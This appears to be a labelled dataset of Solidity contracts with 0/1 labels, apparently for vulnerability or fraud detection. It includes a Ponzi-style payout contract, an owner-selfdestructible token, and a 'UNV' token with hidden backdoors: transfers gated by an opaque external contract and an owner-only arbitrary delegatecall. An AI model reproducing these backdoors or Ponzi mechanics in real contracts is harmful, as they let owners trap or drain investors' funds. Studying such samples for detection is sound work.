source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
|---|---|---|
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0);
return a % b;
}
}
contract Eth2x {
using SafeMath for uint;
struct Investor {
uint invested;
uint payouts;
uint first_invest;
uint last_payout;
address referrer;
}
uint constant public COMMISSION = 10;
uint constant public WITHDRAW = 85;
uint constant public REFBONUS = 2;
uint constant public CASHBACK = 3;
uint constant public MULTIPLICATION = 2;
address public beneficiary = 0x373D3f20f9F10d23686Dc5Cda704E4EFCf0Ab1DB;
mapping(address => Investor) public investors;
event AddInvestor(address indexed holder);
event Payout(address indexed holder, uint amount);
event Deposit(address indexed holder, uint amount, address referrer);
event RefBonus(address indexed from, address indexed to, uint amount);
event CashBack(address indexed holder, uint amount);
event Withdraw(address indexed holder, uint amount);
function bonusSize() view public returns(uint) {
uint b = address(this).balance;
if(b >= 5000 ether) return 9;
if(b >= 3000 ether) return 4;
if(b >= 2000 ether) return 5;
if(b >= 1000 ether) return 6;
return 7;
}
function payoutSize(address _to) view public returns(uint) {
uint max = investors[_to].invested.mul(MULTIPLICATION);
if(investors[_to].invested == 0 || investors[_to].payouts >= max) return 0;
uint payout = investors[_to].invested.mul(bonusSize()).div(100).mul(block.timestamp.sub(investors[_to].last_payout)).div(1 days);
return investors[_to].payouts.add(payout) > max ? max.sub(investors[_to].payouts) : payout;
}
function withdrawSize(address _to) view public returns(uint) {
uint max = investors[_to].invested.div(100).mul(WITHDRAW);
if(investors[_to].invested == 0 || investors[_to].payouts >= max) return 0;
return max.sub(investors[_to].payouts);
}
function bytesToAddress(bytes bys) pure private returns(address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function() payable external {
if(investors[msg.sender].invested > 0) {
uint payout = payoutSize(msg.sender);
require(msg.value > 0 || payout > 0, "No payouts");
if(payout > 0) {
investors[msg.sender].last_payout = block.timestamp;
investors[msg.sender].payouts = investors[msg.sender].payouts.add(payout);
msg.sender.transfer(payout);
emit Payout(msg.sender, payout);
}
if(investors[msg.sender].payouts >= investors[msg.sender].invested.mul(MULTIPLICATION)) {
delete investors[msg.sender];
emit Withdraw(msg.sender, 0);
}
}
if(msg.value == 0.00000007 ether) {
require(investors[msg.sender].invested > 0, "You have not invested anything yet");
uint amount = withdrawSize(msg.sender);
require(amount > 0, "You have nothing to withdraw");
msg.sender.transfer(amount);
delete investors[msg.sender];
emit Withdraw(msg.sender, amount);
}
else if(msg.value > 0) {
require(msg.value >= 0.01 ether, "Minimum investment amount 0.01 ether");
investors[msg.sender].last_payout = block.timestamp;
investors[msg.sender].invested = investors[msg.sender].invested.add(msg.value);
beneficiary.transfer(msg.value.mul(COMMISSION).div(100));
if(investors[msg.sender].first_invest == 0) {
investors[msg.sender].first_invest = block.timestamp;
if(msg.data.length > 0) {
address ref = bytesToAddress(msg.data);
if(ref != msg.sender && investors[ref].invested > 0 && msg.value >= 1 ether) {
investors[msg.sender].referrer = ref;
uint ref_bonus = msg.value.mul(REFBONUS).div(100);
ref.transfer(ref_bonus);
emit RefBonus(msg.sender, ref, ref_bonus);
uint cashback_bonus = msg.value.mul(CASHBACK).div(100);
msg.sender.transfer(cashback_bonus);
emit CashBack(msg.sender, cashback_bonus);
}
}
emit AddInvestor(msg.sender);
}
emit Deposit(msg.sender, msg.value, investors[msg.sender].referrer);
}
}
} | 1 | 3,852 |
pragma solidity ^0.4.24;
contract Robocalls {
function transferFrom(address from, address to, uint tokens) public returns (bool success) {}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
}
contract RobocallsTokenSale is Owned {
uint public startDate;
uint public bonusEnds;
uint public endDate;
address public main_addr;
address public tokenOwner;
Robocalls r;
constructor() public {
bonusEnds = now + 8 weeks;
endDate = now + 12 weeks;
startDate = now;
main_addr = 0xAD7615B0524849918AEe77e6c2285Dd7e8468650;
r = Robocalls(main_addr);
}
function setEndDate(uint _newEndDate ) public {
require(msg.sender==owner);
endDate = _newEndDate;
}
function setBonusEndDate(uint _newBonusEndDate ) public {
require(msg.sender==owner);
bonusEnds = _newBonusEndDate;
}
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 1500000;
} else {
tokens = msg.value * 10000000;
}
r.transferFrom(owner,msg.sender, tokens);
owner.transfer(msg.value);
}
} | 0 | 816 |
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
pragma solidity ^0.5.0;
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
require(address(token) != address(0), "Crowdsale: token is the zero address");
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
pragma solidity ^0.5.0;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
pragma solidity ^0.5.0;
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
pragma solidity ^0.5.0;
contract PausableCrowdsale is Crowdsale, Pausable {
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view whenNotPaused {
return super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
pragma solidity ^0.5.0;
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "CappedCrowdsale: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function capReached() public view returns (bool) {
return weiRaised() >= _cap;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
super._preValidatePurchase(beneficiary, weiAmount);
require(weiRaised().add(weiAmount) <= _cap, "CappedCrowdsale: cap exceeded");
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.0;
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.0;
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount),
"MintedCrowdsale: minting failed"
);
}
}
pragma solidity ^0.5.0;
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime);
modifier onlyWhileOpen {
require(isOpen(), "TimedCrowdsale: not open");
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
require(openingTime >= block.timestamp, "TimedCrowdsale: opening time is before current time");
require(closingTime > openingTime, "TimedCrowdsale: opening time is not before closing time");
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
function _extendTime(uint256 newClosingTime) internal {
require(!hasClosed(), "TimedCrowdsale: already closed");
require(newClosingTime > _closingTime, "TimedCrowdsale: new closing time is before current closing time");
emit TimedCrowdsaleExtended(_closingTime, newClosingTime);
_closingTime = newClosingTime;
}
}
pragma solidity ^0.5.0;
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized();
constructor () internal {
_finalized = false;
}
function finalized() public view returns (bool) {
return _finalized;
}
function finalize() public {
require(!_finalized, "FinalizableCrowdsale: already finalized");
require(hasClosed(), "FinalizableCrowdsale: not closed");
_finalized = true;
_finalization();
emit CrowdsaleFinalized();
}
function _finalization() internal {
}
}
pragma solidity ^0.5.0;
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded");
super._mint(account, value);
}
}
pragma solidity ^0.5.0;
contract MTB19Crowdsale is MintedCrowdsale, PausableCrowdsale, FinalizableCrowdsale, CappedCrowdsale {
constructor(uint256 rate, address payable wallet, IERC20 token,
uint256 openingTime, uint256 closingTime,
uint256 cap
) public Crowdsale(rate, wallet, token)
TimedCrowdsale(openingTime, closingTime)
FinalizableCrowdsale()
CappedCrowdsale(cap) { }
function _finalization() internal {
uint256 remaining = ERC20Capped(address(token())).cap() - ERC20(address(token())).totalSupply();
if (remaining > 0) ERC20Capped(address(super.token())).mint(super.wallet(), remaining);
MinterRole(address(token())).renounceMinter();
super._finalization();
}
} | 0 | 1,572 |
pragma solidity ^0.5.2;
contract ERC20TokenInterface {
function totalSupply () external view returns (uint);
function balanceOf (address tokenOwner) external view returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract CliffTokenVesting {
using SafeMath for uint256;
event Released(address beneficiary, uint256 amount);
struct Beneficiary {
uint256 start;
uint256 duration;
uint256 cliff;
uint256 totalAmount;
uint256 releasedAmount;
}
mapping (address => Beneficiary) public beneficiary;
ERC20TokenInterface public token;
uint256 public nonce = 142816;
modifier isVestedAccount (address account) { require(beneficiary[account].start != 0); _; }
constructor (ERC20TokenInterface tokenAddress) public {
require(tokenAddress != ERC20TokenInterface(0x0));
token = tokenAddress;
}
function releasableAmount (address account) public view returns (uint256) {
return vestedAmount(account).sub(beneficiary[account].releasedAmount);
}
function release (address account) public isVestedAccount(account) {
uint256 unreleased = releasableAmount(account);
require(unreleased > 0);
beneficiary[account].releasedAmount = beneficiary[account].releasedAmount.add(unreleased);
token.transfer(account, unreleased);
emit Released(account, unreleased);
if (beneficiary[account].releasedAmount == beneficiary[account].totalAmount) {
delete beneficiary[account];
}
}
function addBeneficiary (
address account,
uint256 start,
uint256 duration,
uint256 cliff,
uint256 amount
) public {
require(amount != 0 && start != 0 && account != address(0x0) && cliff < duration && beneficiary[account].start == 0);
require(token.transferFrom(msg.sender, address(this), amount));
beneficiary[account] = Beneficiary({
start: start,
duration: duration,
cliff: start.add(cliff),
totalAmount: amount,
releasedAmount: 0
});
}
function vestedAmount (address account) private view returns (uint256) {
if (block.timestamp < beneficiary[account].cliff) {
return 0;
} else if (block.timestamp >= beneficiary[account].start.add(beneficiary[account].duration)) {
return beneficiary[account].totalAmount;
} else {
return beneficiary[account].totalAmount.mul(
block.timestamp.sub(beneficiary[account].start)
).div(beneficiary[account].duration);
}
}
} | 1 | 3,658 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract UNV is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "Unvest";
string public symbol = "UNV";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wrappedBinance, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 1,800 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EntToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY =1600000000;
uint256 public buyPrice = 1;
event FrozenFunds(address target, bool frozen);
function EntToken(uint256 initialSupply, string tokenName, string tokenSymbol) TokenERC20(INITIAL_SUPPLY, 'ENTChain', 'ENTC') payable {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
owner.send(msg.value);
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
} | 0 | 2,280 |
pragma solidity ^0.4.21;
contract RobinHood{
address public owner;
uint8 devFee = 5;
uint256 public amountToCreate = 20000000000000000;
bool public open = false;
event TowerCreated(uint256 id);
event TowerBought(uint256 id);
event TowerWon(uint256 id);
struct Tower{
uint32 timer;
uint256 timestamp;
uint16 payout;
uint16 priceIncrease;
uint256 price;
uint256 amount;
uint256 minPrice;
